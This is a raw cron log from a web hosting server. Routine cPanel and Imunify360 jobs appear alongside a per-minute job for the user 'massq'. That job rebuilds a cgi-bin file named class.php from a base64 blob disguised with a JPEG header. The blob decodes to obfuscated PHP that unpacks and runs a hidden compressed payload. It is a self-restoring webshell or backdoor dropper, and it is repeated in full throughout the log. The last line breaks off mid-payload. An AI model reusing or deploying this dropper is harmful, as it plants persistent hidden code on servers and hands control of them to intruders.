Aug 31 07:50:01 server CROND[3122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:50:01 server CROND[3125]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:50:01 server CROND[3124]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:50:01 server CROND[3127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:51:01 server CROND[3964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:51:01 server CROND[3963]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:51:01 server CROND[3965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:52:01 server CROND[4342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:52:01 server CROND[4343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:52:01 server CROND[4344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:53:01 server CROND[4722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:53:01 server CROND[4723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:53:01 server CROND[4724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:54:01 server CROND[5090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:54:01 server CROND[5091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:54:01 server CROND[5092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:55:01 server CROND[5461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:55:01 server CROND[5462]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:55:01 server CROND[5464]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:55:01 server CROND[5463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:55:01 server CROND[5466]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 07:55:01 server CROND[5465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:55:01 server CROND[5468]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 07:56:01 server CROND[6374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:56:01 server CROND[6375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:56:01 server CROND[6376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:57:01 server CROND[6756]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 07:57:01 server CROND[6758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:57:01 server CROND[6757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:57:01 server CROND[6759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:58:01 server CROND[7158]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:58:01 server CROND[7160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:58:01 server CROND[7159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:59:01 server CROND[7542]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:59:01 server CROND[7543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:59:01 server CROND[7544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:00:01 server CROND[7924]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Aug 31 08:00:01 server CROND[7927]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 08:00:01 server CROND[7929]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 08:00:01 server CROND[7931]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:00:01 server CROND[7935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:00:01 server CROND[7932]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 08:00:01 server CROND[7930]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:00:01 server CROND[7939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:00:01 server CROND[7933]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 08:00:01 server CROND[7934]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 08:00:01 server CROND[7938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:01:01 server CROND[8891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:01:01 server CROND[8892]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 08:01:01 server CROND[8893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:01:01 server CROND[8894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2